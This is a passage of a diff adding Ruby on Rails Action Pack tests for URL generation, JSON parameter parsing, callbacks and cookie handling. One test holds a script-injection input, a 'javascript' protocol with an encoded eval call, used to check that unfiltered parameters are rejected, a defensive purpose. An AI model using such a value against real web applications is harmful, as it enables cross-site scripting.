+        assert_equal({ p2: "link" }.to_query, params[1])
+      end
+
+      def test_relative_url_root_is_respected
+        add_host!
+        assert_equal("https://www.basecamphq.com/subdir/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "https", script_name: "/subdir")
+        )
+      end
+
+      def test_relative_url_root_is_respected_with_environment_variable
+        # `config.relative_url_root` is set by ENV['RAILS_RELATIVE_URL_ROOT']
+        w = Class.new {
+          config = ActionDispatch::Routing::RouteSet::Config.new "/subdir"
+          r = ActionDispatch::Routing::RouteSet.new(config)
+          r.draw { ActiveSupport::Deprecation.silence { get ":controller(/:action(/:id(.:format)))" } }
+          include r.url_helpers
+        }
+        add_host!(w)
+        assert_equal("https://www.basecamphq.com/subdir/c/a/i",
+          w.new.url_for(controller: "c", action: "a", id: "i", protocol: "https")
+        )
+      end
+
+      def test_named_routes
+        with_routing do |set|
+          set.draw do
+            get "this/is/verbose", to: "home#index", as: :no_args
+            get "home/sweet/home/:user", to: "home#index", as: :home
+          end
+
+          # We need to create a new class in order to install the new named route.
+          kls = Class.new { include set.url_helpers }
+
+          controller = kls.new
+          assert controller.respond_to?(:home_url)
+          assert_equal "http://www.basecamphq.com/home/sweet/home/again",
+            controller.send(:home_url, host: "www.basecamphq.com", user: "again")
+
+          assert_equal("/home/sweet/home/alabama", controller.send(:home_path, user: "alabama", host: "unused"))
+          assert_equal("http://www.basecamphq.com/home/sweet/home/alabama", controller.send(:home_url, user: "alabama", host: "www.basecamphq.com"))
+          assert_equal("http://www.basecamphq.com/this/is/verbose", controller.send(:no_args_url, host: "www.basecamphq.com"))
+        end
+      end
+
+      def test_relative_url_root_is_respected_for_named_routes
+        with_routing do |set|
+          set.draw do
+            get "/home/sweet/home/:user", to: "home#index", as: :home
+          end
+
+          kls = Class.new { include set.url_helpers }
+          controller = kls.new
+
+          assert_equal "http://www.basecamphq.com/subdir/home/sweet/home/again",
+            controller.send(:home_url, host: "www.basecamphq.com", user: "again", script_name: "/subdir")
+        end
+      end
+
+      def test_using_nil_script_name_properly_concats_with_original_script_name
+        add_host!
+        assert_equal("https://www.basecamphq.com/subdir/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "https", script_name: nil, original_script_name: "/subdir")
+        )
+      end
+
+      def test_only_path
+        with_routing do |set|
+          set.draw do
+            get "home/sweet/home/:user", to: "home#index", as: :home
+
+            ActiveSupport::Deprecation.silence do
+              get ":controller/:action/:id"
+            end
+          end
+
+          # We need to create a new class in order to install the new named route.
+          kls = Class.new { include set.url_helpers }
+          controller = kls.new
+          assert_respond_to controller, :home_url
+          assert_equal "/brave/new/world",
+            controller.url_for(controller: "brave", action: "new", id: "world", only_path: true)
+
+          assert_equal("/home/sweet/home/alabama", controller.home_path(user: "alabama", host: "unused"))
+          assert_equal("/home/sweet/home/alabama", controller.home_path("alabama"))
+        end
+      end
+
+      def test_one_parameter
+        assert_equal("/c/a?param=val",
+          W.new.url_for(only_path: true, controller: "c", action: "a", param: "val")
+        )
+      end
+
+      def test_two_parameters
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", p1: "X1", p2: "Y2")
+        params = extract_params(url)
+        assert_equal({ p1: "X1" }.to_query, params[0])
+        assert_equal({ p2: "Y2" }.to_query, params[1])
+      end
+
+      def test_hash_parameter
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", query: { name: "Bob", category: "prof" })
+        params = extract_params(url)
+        assert_equal({ "query[category]" => "prof" }.to_query, params[0])
+        assert_equal({ "query[name]" => "Bob" }.to_query, params[1])
+      end
+
+      def test_array_parameter
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", query: ["Bob", "prof"])
+        params = extract_params(url)
+        assert_equal({ "query[]" => "Bob" }.to_query, params[0])
+        assert_equal({ "query[]" => "prof" }.to_query, params[1])
+      end
+
+      def test_hash_recursive_parameters
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", query: { person: { name: "Bob", position: "prof" }, hobby: "piercing" })
+        params = extract_params(url)
+        assert_equal({ "query[hobby]"            => "piercing" }.to_query, params[0])
+        assert_equal({ "query[person][name]"     => "Bob"     }.to_query, params[1])
+        assert_equal({ "query[person][position]" => "prof"    }.to_query, params[2])
+      end
+
+      def test_hash_recursive_and_array_parameters
+        url = W.new.url_for(only_path: true, controller: "c", action: "a", id: 101, query: { person: { name: "Bob", position: ["prof", "art director"] }, hobby: "piercing" })
+        assert_match(%r(^/c/a/101), url)
+        params = extract_params(url)
+        assert_equal({ "query[hobby]"              => "piercing"    }.to_query, params[0])
+        assert_equal({ "query[person][name]"       => "Bob"         }.to_query, params[1])
+        assert_equal({ "query[person][position][]" => "art director" }.to_query, params[2])
+        assert_equal({ "query[person][position][]" => "prof"        }.to_query, params[3])
+      end
+
+      def test_url_action_controller_parameters
+        add_host!
+        assert_raise(ActionController::UnfilteredParameters) do
+          W.new.url_for(ActionController::Parameters.new(controller: "c", action: "a", protocol: "javascript", f: "%0Aeval(name)"))
+        end
+      end
+
+      def test_path_generation_for_symbol_parameter_keys
+        assert_generates("/image", controller: :image)
+      end
+
+      def test_named_routes_with_nil_keys
+        with_routing do |set|
+          set.draw do
+            get "posts.:format", to: "posts#index", as: :posts
+            get "/", to: "posts#index", as: :main
+          end
+
+          # We need to create a new class in order to install the new named route.
+          kls = Class.new { include set.url_helpers }
+          kls.default_url_options[:host] = "www.basecamphq.com"
+
+          controller = kls.new
+          params = { action: :index, controller: :posts, format: :xml }
+          assert_equal("http://www.basecamphq.com/posts.xml", controller.send(:url_for, params))
+          params[:format] = nil
+          assert_equal("http://www.basecamphq.com/", controller.send(:url_for, params))
+        end
+      end
+
+      def test_multiple_includes_maintain_distinct_options
+        first_class = Class.new { include ActionController::UrlFor }
+        second_class = Class.new { include ActionController::UrlFor }
+
+        first_host, second_host = "firsthost.com", "secondhost.com"
+
+        first_class.default_url_options[:host] = first_host
+        second_class.default_url_options[:host] = second_host
+
+        assert_equal first_host, first_class.default_url_options[:host]
+        assert_equal second_host, second_class.default_url_options[:host]
+      end
+
+      def test_with_stringified_keys
+        assert_equal("/c", W.new.url_for("controller" => "c", "only_path" => true))
+        assert_equal("/c/a", W.new.url_for("controller" => "c", "action" => "a", "only_path" => true))
+      end
+
+      def test_with_hash_with_indifferent_access
+        W.default_url_options[:controller] = "d"
+        W.default_url_options[:only_path]  = false
+        assert_equal("/c", W.new.url_for(ActiveSupport::HashWithIndifferentAccess.new("controller" => "c", "only_path" => true)))
+
+        W.default_url_options[:action] = "b"
+        assert_equal("/c/a", W.new.url_for(ActiveSupport::HashWithIndifferentAccess.new("controller" => "c", "action" => "a", "only_path" => true)))
+      end
+
+      def test_url_params_with_nil_to_param_are_not_in_url
+        assert_equal("/c/a", W.new.url_for(only_path: true, controller: "c", action: "a", id: Struct.new(:to_param).new(nil)))
+      end
+
+      def test_false_url_params_are_included_in_query
+        assert_equal("/c/a?show=false", W.new.url_for(only_path: true, controller: "c", action: "a", show: false))
+      end
+
+      def test_url_generation_with_array_and_hash
+        with_routing do |set|
+          set.draw do
+            namespace :admin do
+              resources :posts
+            end
+          end
+
+          kls = Class.new { include set.url_helpers }
+          kls.default_url_options[:host] = "www.basecamphq.com"
+
+          controller = kls.new
+          assert_equal("http://www.basecamphq.com/admin/posts/new?param=value",
+            controller.send(:url_for, [:new, :admin, :post, { param: "value" }])
+          )
+        end
+      end
+
+      def test_url_for_with_array_is_unmodified
+        with_routing do |set|
+          set.draw do
+            namespace :admin do
+              resources :posts
+            end
+          end
+
+          kls = Class.new { include set.url_helpers }
+          kls.default_url_options[:host] = "www.basecamphq.com"
+
+          original_components = [:new, :admin, :post, { param: "value" }]
+          components = original_components.dup
+
+          kls.new.url_for(components)
+
+          assert_equal(original_components, components)
+        end
+      end
+
+      def test_default_params_first_empty
+        with_routing do |set|
+          set.draw do
+            get "(:param1)/test(/:param2)" => "index#index",
+              defaults: {
+                param1: 1,
+                param2: 2
+              },
+              constraints: {
+                param1: /\d*/,
+                param2: /\d+/
+              }
+          end
+
+          kls = Class.new { include set.url_helpers }
+          kls.default_url_options[:host] = "www.basecamphq.com"
+
+          assert_equal "http://www.basecamphq.com/test", kls.new.url_for(controller: "index", param1: "1")
+        end
+      end
+
+      private
+        def extract_params(url)
+          url.split("?", 2).last.split("&").sort
+        end
+    end
+  end
+end
diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb
new file mode 100644
index 0000000000..0f79c83b6d
--- /dev/null
+++ b/actionpack/test/controller/url_rewriter_test.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_controllers"
+
+class UrlRewriterTests < ActionController::TestCase
+  class Rewriter
+    def initialize(request)
+      @options = {
+        host: request.host_with_port,
+        protocol: request.protocol
+      }
+    end
+
+    def rewrite(routes, options)
+      routes.url_for(@options.merge(options))
+    end
+  end
+
+  def setup
+    @params = {}
+    @rewriter = Rewriter.new(@request) #.new(@request, @params)
+    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+      r.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":controller(/:action(/:id))"
+        end
+      end
+    end
+  end
+
+  def test_port
+    assert_equal("http://test.host:1271/c/a/i",
+      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", port: 1271)
+    )
+  end
+
+  def test_protocol_with_and_without_separator
+    assert_equal("https://test.host/c/a/i",
+      @rewriter.rewrite(@routes, protocol: "https", controller: "c", action: "a", id: "i")
+    )
+
+    assert_equal("https://test.host/c/a/i",
+      @rewriter.rewrite(@routes, protocol: "https://", controller: "c", action: "a", id: "i")
+    )
+  end
+
+  def test_user_name_and_password
+    assert_equal(
+      "http://david:secret@test.host/c/a/i",
+      @rewriter.rewrite(@routes, user: "david", password: "secret", controller: "c", action: "a", id: "i")
+    )
+  end
+
+  def test_user_name_and_password_with_escape_codes
+    assert_equal(
+      "http://openid.aol.com%2Fnextangler:one+two%3F@test.host/c/a/i",
+      @rewriter.rewrite(@routes, user: "openid.aol.com/nextangler", password: "one two?", controller: "c", action: "a", id: "i")
+    )
+  end
+
+  def test_anchor
+    assert_equal(
+      "http://test.host/c/a/i#anchor",
+      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", anchor: "anchor")
+    )
+  end
+
+  def test_anchor_should_call_to_param
+    assert_equal(
+      "http://test.host/c/a/i#anchor",
+      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", anchor: Struct.new(:to_param).new("anchor"))
+    )
+  end
+
+  def test_anchor_should_be_uri_escaped
+    assert_equal(
+      "http://test.host/c/a/i#anc/hor",
+      @rewriter.rewrite(@routes, controller: "c", action: "a", id: "i", anchor: Struct.new(:to_param).new("anc/hor"))
+    )
+  end
+
+  def test_trailing_slash
+    options = { controller: "foo", action: "bar", id: "3", only_path: true }
+    assert_equal "/foo/bar/3", @rewriter.rewrite(@routes, options)
+    assert_equal "/foo/bar/3?query=string", @rewriter.rewrite(@routes, options.merge(query: "string"))
+    options.update(trailing_slash: true)
+    assert_equal "/foo/bar/3/", @rewriter.rewrite(@routes, options)
+    options.update(query: "string")
+    assert_equal "/foo/bar/3/?query=string", @rewriter.rewrite(@routes, options)
+  end
+end
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
new file mode 100644
index 0000000000..4a10637b54
--- /dev/null
+++ b/actionpack/test/controller/webservice_test.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/json/decoding"
+
+class WebServiceTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def assign_parameters
+      if params[:full]
+        render plain: dump_params_keys
+      else
+        render plain: (params.keys - ["controller", "action"]).sort.join(", ")
+      end
+    end
+
+    def dump_params_keys(hash = params)
+      hash.keys.sort.inject("") do |s, k|
+        value = hash[k]
+
+        if value.is_a?(Hash) || value.is_a?(ActionController::Parameters)
+          value = "(#{dump_params_keys(value)})"
+        else
+          value = ""
+        end
+
+        s += ", " unless s.empty?
+        s += "#{k}#{value}"
+      end
+    end
+  end
+
+  def setup
+    @controller = TestController.new
+    @integration_session = nil
+  end
+
+  def test_check_parameters
+    with_test_route_set do
+      get "/"
+      assert_equal "", @controller.response.body
+    end
+  end
+
+  def test_post_json
+    with_test_route_set do
+      post "/",
+        params: '{"entry":{"summary":"content..."}}',
+        headers: { "CONTENT_TYPE" => "application/json" }
+
+      assert_equal "entry", @controller.response.body
+      assert @controller.params.has_key?(:entry)
+      assert_equal "content...", @controller.params["entry"]["summary"]
+    end
+  end
+
+  def test_put_json
+    with_test_route_set do
+      put "/",
+        params: '{"entry":{"summary":"content..."}}',
+        headers: { "CONTENT_TYPE" => "application/json" }
+
+      assert_equal "entry", @controller.response.body
+      assert @controller.params.has_key?(:entry)
+      assert_equal "content...", @controller.params["entry"]["summary"]
+    end
+  end
+
+  def test_register_and_use_json_simple
+    with_test_route_set do
+      with_params_parsers Mime[:json] => Proc.new { |data| ActiveSupport::JSON.decode(data)["request"].with_indifferent_access } do
+        post "/",
+          params: '{"request":{"summary":"content...","title":"JSON"}}',
+          headers: { "CONTENT_TYPE" => "application/json" }
+
+        assert_equal "summary, title", @controller.response.body
+        assert @controller.params.has_key?(:summary)
+        assert @controller.params.has_key?(:title)
+        assert_equal "content...", @controller.params["summary"]
+        assert_equal "JSON", @controller.params["title"]
+      end
+    end
+  end
+
+  def test_use_json_with_empty_request
+    with_test_route_set do
+      assert_nothing_raised { post "/", headers: { "CONTENT_TYPE" => "application/json" } }
+      assert_equal "", @controller.response.body
+    end
+  end
+
+  def test_dasherized_keys_as_json
+    with_test_route_set do
+      post "/?full=1",
+        params: '{"first-key":{"sub-key":"..."}}',
+        headers: { "CONTENT_TYPE" => "application/json" }
+      assert_equal "action, controller, first-key(sub-key), full", @controller.response.body
+      assert_equal "...", @controller.params["first-key"]["sub-key"]
+    end
+  end
+
+  def test_parsing_json_doesnot_rescue_exception
+    req = Class.new(ActionDispatch::Request) do
+      def params_parsers
+        { json: Proc.new { |data| raise Interrupt } }
+      end
+
+      def content_length; get_header("rack.input").length; end
+    end.new("rack.input" => StringIO.new('{"title":"JSON"}}'), "CONTENT_TYPE" => "application/json")
+
+    assert_raises(Interrupt) do
+      req.request_parameters
+    end
+  end
+
+  private
+    def with_params_parsers(parsers = {})
+      old_session = @integration_session
+      original_parsers = ActionDispatch::Request.parameter_parsers
+      ActionDispatch::Request.parameter_parsers = original_parsers.merge parsers
+      reset!
+      yield
+    ensure
+      ActionDispatch::Request.parameter_parsers = original_parsers
+      @integration_session = old_session
+    end
+
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          match "/", to: "web_service_test/test#assign_parameters", via: :all
+        end
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/callbacks_test.rb b/actionpack/test/dispatch/callbacks_test.rb
new file mode 100644
index 0000000000..fc80191c02
--- /dev/null
+++ b/actionpack/test/dispatch/callbacks_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class DispatcherTest < ActiveSupport::TestCase
+  class Foo
+    cattr_accessor :a, :b
+  end
+
+  class DummyApp
+    def call(env)
+      [200, {}, "response"]
+    end
+  end
+
+  def setup
+    Foo.a, Foo.b = 0, 0
+    ActionDispatch::Callbacks.reset_callbacks(:call)
+  end
+
+  def test_before_and_after_callbacks
+    ActionDispatch::Callbacks.before { |*args| Foo.a += 1; Foo.b += 1 }
+    ActionDispatch::Callbacks.after  { |*args| Foo.a += 1; Foo.b += 1 }
+
+    dispatch
+    assert_equal 2, Foo.a
+    assert_equal 2, Foo.b
+
+    dispatch
+    assert_equal 4, Foo.a
+    assert_equal 4, Foo.b
+
+    dispatch do
+      raise "error"
+    end rescue nil
+    assert_equal 6, Foo.a
+    assert_equal 6, Foo.b
+  end
+
+  private
+
+    def dispatch(&block)
+      ActionDispatch::Callbacks.new(block || DummyApp.new).call(
+        "rack.input" => StringIO.new("")
+      )
+    end
+end
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
new file mode 100644
index 0000000000..a551fb00a8
--- /dev/null
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -0,0 +1,1256 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "openssl"
+require "active_support/key_generator"
+require "active_support/message_verifier"
+
+class CookieJarTest < ActiveSupport::TestCase
+  attr_reader :request
+
+  def setup
+    @request = ActionDispatch::Request.empty
+  end
+
+  def test_fetch
+    x = Object.new
+    assert_not request.cookie_jar.key?("zzzzzz")
+    assert_equal x, request.cookie_jar.fetch("zzzzzz", x)
+    assert_not request.cookie_jar.key?("zzzzzz")
+  end
+
+  def test_fetch_exists
+    x = Object.new
+    request.cookie_jar["foo"] = "bar"
+    assert_equal "bar", request.cookie_jar.fetch("foo", x)
+  end
+
+  def test_fetch_block
+    x = Object.new
+    assert_not request.cookie_jar.key?("zzzzzz")
+    assert_equal x, request.cookie_jar.fetch("zzzzzz") { x }
+  end
+
+  def test_key_is_to_s
+    request.cookie_jar["foo"] = "bar"
+    assert_equal "bar", request.cookie_jar.fetch(:foo)
+  end
+
+  def test_fetch_type_error
+    assert_raises(KeyError) do
+      request.cookie_jar.fetch(:omglolwut)
+    end
+  end
+
+  def test_each
+    request.cookie_jar["foo"] = :bar
+    list = []
+    request.cookie_jar.each do |k, v|
+      list << [k, v]
+    end
+
+    assert_equal [["foo", :bar]], list
+  end
+
+  def test_enumerable
+    request.cookie_jar["foo"] = :bar
+    actual = request.cookie_jar.map { |k, v| [k.to_s, v.to_s] }
+    assert_equal [["foo", "bar"]], actual
+  end
+
+  def test_key_methods
+    assert !request.cookie_jar.key?(:foo)
+    assert !request.cookie_jar.has_key?("foo")
+
+    request.cookie_jar[:foo] = :bar
+    assert request.cookie_jar.key?(:foo)
+    assert request.cookie_jar.has_key?("foo")
+  end
+
+  def test_write_doesnt_set_a_nil_header
+    headers = {}
+    request.cookie_jar.write(headers)
+    assert_not_includes headers, "Set-Cookie"
+  end
+end
+
+class CookiesTest < ActionController::TestCase
+  class CustomSerializer
+    def self.load(value)
+      value.to_s + " and loaded"
+    end
+
+    def self.dump(value)
+      value.to_s + " was dumped"
+    end
+  end
+
+  class TestController < ActionController::Base
+    def authenticate
+      cookies["user_name"] = "david"
+      head :ok
+    end
+
+    def set_with_with_escapable_characters
+      cookies["that & guy"] = "foo & bar => baz"
+      head :ok
+    end
+
+    def authenticate_for_fourteen_days
+      cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10, 5) }
+      head :ok
+    end
+
+    def authenticate_for_fourteen_days_with_symbols
+      cookies[:user_name] = { value: "david", expires: Time.utc(2005, 10, 10, 5) }
+      head :ok
+    end
+
+    def set_multiple_cookies
+      cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10, 5) }
+      cookies["login"]     = "XJ-122"
+      head :ok
+    end
+
+    def access_frozen_cookies
+      cookies["will"] = "work"
+      head :ok
+    end
+
+    def logout
+      cookies.delete("user_name")
+      head :ok
+    end
+
+    alias delete_cookie logout
+
+    def delete_cookie_with_path
+      cookies.delete("user_name", path: "/beaten")
+      head :ok
+    end
+
+    def authenticate_with_http_only
+      cookies["user_name"] = { value: "david", httponly: true }
+      head :ok
+    end
+
+    def authenticate_with_secure
+      cookies["user_name"] = { value: "david", secure: true }
+      head :ok
+    end
+
+    def set_permanent_cookie
+      cookies.permanent[:user_name] = "Jamie"
+      head :ok
+    end
+
+    def set_signed_cookie
+      cookies.signed[:user_id] = 45
+      head :ok
+    end
+
+    def get_signed_cookie
+      cookies.signed[:user_id]
+      head :ok
+    end
+
+    def set_encrypted_cookie
+      cookies.encrypted[:foo] = "bar"
+      head :ok
+    end
+
+    class JSONWrapper
+      def initialize(obj)
+        @obj = obj
+      end
+
+      def as_json(options = nil)
+        "wrapped: #{@obj.as_json(options)}"
+      end
+    end
+
+    def set_wrapped_signed_cookie
+      cookies.signed[:user_id] = JSONWrapper.new(45)
+      head :ok
+    end
+
+    def set_wrapped_encrypted_cookie
+      cookies.encrypted[:foo] = JSONWrapper.new("bar")
+      head :ok
+    end
+
+    def get_encrypted_cookie
+      cookies.encrypted[:foo]
+      head :ok
+    end
+
+    def set_invalid_encrypted_cookie
+      cookies[:invalid_cookie] = "invalid--9170e00a57cfc27083363b5c75b835e477bd90cf"
+      head :ok
+    end
+
+    def raise_data_overflow
+      cookies.signed[:foo] = "bye!" * 1024
+      head :ok
+    end
+
+    def tampered_cookies
+      cookies[:tampered] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
+      cookies.signed[:tampered]
+      head :ok
+    end
+
+    def set_permanent_signed_cookie
+      cookies.permanent.signed[:remember_me] = 100
+      head :ok
+    end
+
+    def delete_and_set_cookie
+      cookies.delete :user_name
+      cookies[:user_name] = { value: "david", expires: Time.utc(2005, 10, 10, 5) }
+      head :ok
+    end
+
+    def set_cookie_with_domain
+      cookies[:user_name] = { value: "rizwanreza", domain: :all }
+      head :ok
+    end
+
+    def set_cookie_with_domain_all_as_string
+      cookies[:user_name] = { value: "rizwanreza", domain: "all" }
+      head :ok
+    end
+
+    def delete_cookie_with_domain
+      cookies.delete(:user_name, domain: :all)
+      head :ok
+    end
+
+    def delete_cookie_with_domain_all_as_string
+      cookies.delete(:user_name, domain: "all")
+      head :ok
+    end
+
+    def set_cookie_with_domain_and_tld
+      cookies[:user_name] = { value: "rizwanreza", domain: :all, tld_length: 2 }
+      head :ok
+    end
+
+    def delete_cookie_with_domain_and_tld
+      cookies.delete(:user_name, domain: :all, tld_length: 2)
+      head :ok
+    end
+
+    def set_cookie_with_domains
+      cookies[:user_name] = { value: "rizwanreza", domain: %w(example1.com example2.com .example3.com) }
+      head :ok
+    end
+
+    def delete_cookie_with_domains
+      cookies.delete(:user_name, domain: %w(example1.com example2.com .example3.com))
+      head :ok
+    end
+
+    def symbol_key
+      cookies[:user_name] = "david"
+      head :ok
+    end
+
+    def string_key
+      cookies["user_name"] = "dhh"
+      head :ok
+    end
+
+    def symbol_key_mock
+      cookies[:user_name] = "david" if cookies[:user_name] == "andrew"
+      head :ok
+    end
+
+    def string_key_mock
+      cookies["user_name"] = "david" if cookies["user_name"] == "andrew"
+      head :ok
+    end
+
+    def noop
+      head :ok
+    end
+
+    def encrypted_cookie
+      cookies.encrypted["foo"]
+    end
+  end
+
+  tests TestController
+
+  SALT = "b3c631c314c0bbca50c1b2843150fe33"
+
+  def setup
+    super
+
+    @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new(SALT, iterations: 2)
+
+    @request.env["action_dispatch.signed_cookie_salt"] =
+      @request.env["action_dispatch.authenticated_encrypted_cookie_salt"] = SALT
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_setting_cookie
+    get :authenticate
+    assert_cookie_header "user_name=david; path=/"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_the_same_value_to_cookie
+    request.cookies[:user_name] = "david"
+    get :authenticate
+    assert_predicate response.cookies, :empty?
+  end
+
+  def test_setting_the_same_value_to_permanent_cookie
+    request.cookies[:user_name] = "Jamie"
+    get :set_permanent_cookie
+    assert_equal({ "user_name" => "Jamie" }, response.cookies)
+  end
+
+  def test_setting_with_escapable_characters
+    get :set_with_with_escapable_characters
+    assert_cookie_header "that+%26+guy=foo+%26+bar+%3D%3E+baz; path=/"
+    assert_equal({ "that & guy" => "foo & bar => baz" }, @response.cookies)
+  end
+
+  def test_setting_cookie_for_fourteen_days
+    get :authenticate_for_fourteen_days
+    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_for_fourteen_days_with_symbols
+    get :authenticate_for_fourteen_days_with_symbols
+    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_http_only
+    get :authenticate_with_http_only
+    assert_cookie_header "user_name=david; path=/; HttpOnly"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_secure
+    @request.env["HTTPS"] = "on"
+    get :authenticate_with_secure
+    assert_cookie_header "user_name=david; path=/; secure"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_cookie_with_secure_when_always_write_cookie_is_true
+    old_cookie, @request.cookie_jar.always_write_cookie = @request.cookie_jar.always_write_cookie, true
+    get :authenticate_with_secure
+    assert_cookie_header "user_name=david; path=/; secure"
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  ensure
+    @request.cookie_jar.always_write_cookie = old_cookie
+  end
+
+  def test_not_setting_cookie_with_secure
+    get :authenticate_with_secure
+    assert_not_cookie_header "user_name=david; path=/; secure"
+    assert_not_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_multiple_cookies
+    get :set_multiple_cookies
+    assert_equal 2, @response.cookies.size
+    assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000\nlogin=XJ-122; path=/"
+    assert_equal({ "login" => "XJ-122", "user_name" => "david" }, @response.cookies)
+  end
+
+  def test_setting_test_cookie
+    assert_nothing_raised { get :access_frozen_cookies }
+  end
+
+  def test_expiring_cookie
+    request.cookies[:user_name] = "Joe"
+    get :logout
+    assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+    assert_equal({ "user_name" => nil }, @response.cookies)
+  end
+
+  def test_delete_cookie_with_path
+    request.cookies[:user_name] = "Joe"
+    get :delete_cookie_with_path
+    assert_cookie_header "user_name=; path=/beaten; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+  end
+
+  def test_delete_unexisting_cookie
+    request.cookies.clear
+    get :delete_cookie
+    assert_predicate @response.cookies, :empty?
+  end
+
+  def test_deleted_cookie_predicate
+    cookies[:user_name] = "Joe"
+    cookies.delete("user_name")
+    assert cookies.deleted?("user_name")
+    assert_equal false, cookies.deleted?("another")
+  end
+
+  def test_deleted_cookie_predicate_with_mismatching_options
+    cookies[:user_name] = "Joe"
+    cookies.delete("user_name", path: "/path")
+    assert_equal false, cookies.deleted?("user_name", path: "/different")
+  end
+
+  def test_cookies_persist_throughout_request
+    response = get :authenticate
+    assert_match(/user_name=david/, response.headers["Set-Cookie"])
+  end
+
+  def test_set_permanent_cookie
+    get :set_permanent_cookie
+    assert_match(/Jamie/, @response.headers["Set-Cookie"])
+    assert_match(%r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"])
+  end
+
+  def test_read_permanent_cookie
+    get :set_permanent_cookie
+    assert_equal "Jamie", @controller.send(:cookies).permanent[:user_name]
+  end
+
+  def test_signed_cookie_using_default_digest
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: "SHA1")
+    assert_equal verifier.generate(45), cookies[:user_id]
+  end
+
+  def test_signed_cookie_using_custom_digest
+    @request.env["action_dispatch.cookies_digest"] = "SHA256"
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: "SHA256")
+    assert_equal verifier.generate(45), cookies[:user_id]
+  end
+
+  def test_signed_cookie_using_default_serializer
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_marshal_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :marshal
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_wrapped_signed_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_wrapped_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal "wrapped: 45", cookies[:user_id]
+    assert_equal "wrapped: 45", cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_custom_serializer
+    @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+    get :set_signed_cookie
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal "45 was dumped and loaded", cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+
+    marshal_value = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal).generate(45)
+    @request.headers["Cookie"] = "user_id=#{marshal_value}"
+
+    get :get_signed_cookie
+
